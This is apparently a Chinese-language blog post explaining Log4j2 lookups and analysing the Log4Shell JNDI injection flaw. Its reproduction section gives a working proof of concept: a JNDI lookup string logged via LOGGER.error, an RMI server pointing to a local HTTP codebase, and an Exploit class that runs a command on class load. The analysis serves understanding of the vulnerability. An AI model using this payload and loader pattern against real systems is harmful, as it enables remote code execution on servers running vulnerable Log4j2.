什么是Log4j2?
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
- Log4j2分为2个jar包,一个是接口
log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。
- Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
- Log4j2的package名称前缀为
org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。
Log4j2 Lookup
Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
下面是一个简单的Java Lookup例子和输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup { public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
public static void main(String[] args) { ThreadContext.put("userId", "test"); LOGGER.error("userId: ${ctx:userId}"); } }
|
需要在resources文件夹下添加一个log4j2.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?xml version="1.0" encoding="UTF-8"?>
<configuration status="error"> <appenders> <!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT--> <Console name="Console" target="SYSTEM_OUT" > <!-- 配置Console的模式布局--> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/> </Console> </appenders> <loggers> <root level="error"> <appender-ref ref="Console"/> </root> </loggers> </configuration>
|
输出如下:
1
| 2023-08-10 15:39:58.959 [main] ERROR org.example.Log4j2Lookup - userId: test
|
从上面的例子可以看到,通过在日志字符串中加入”${ctx:userId}”,Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}”,即可以实现对变量var的引用。type可以是如下值:
- ctx:允许程序将数据存储在 Log4j
ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
- env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:
${env:USER}。
- java:允许查找Java环境配置信息。例如:
${java:version}。
- jndi:允许通过 JNDI 检索变量。
- ……
其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Log4j2RCEPoc { public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) { LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}"); } }
|
rmi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/"); ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit); registry.bind("exp", exploitWrapper); } } public class Exploit { static { String cmd = "calc"; final Process process; try { process = Runtime.getRuntime().exec(cmd); process.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }
|
在Exploit.class目录下开启http服务

漏洞原理
由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置断点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

由于比较多,并且前面较为单调,所以我们只分析几个关键的地方
首先由LOGGER.error方法最终会调用到MessagePatternConverter的format方法。

该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor的replace方法进行进一步解析,跟进

继续调用substitute方法

继续调用一个重载方法,然后到这里

对${}中的内容进行了提取,并赋值给了varName参数,然后调用了resolveVariable方法,跟进

调用了Interpolator的lookup方法

根据前缀,也就是jndi找到相应的lookup类,然后调用其lookup方法,跟进

继续调用jndiManager.lookup方法

调用InitialContext.lookup方法,这之后就和正常的JNDI注入一样了
Log4j 反序列化分析—CVE-2017-5645
spring内存马
© 2024 ycxlo
Powered by Hexo & NexT.Muse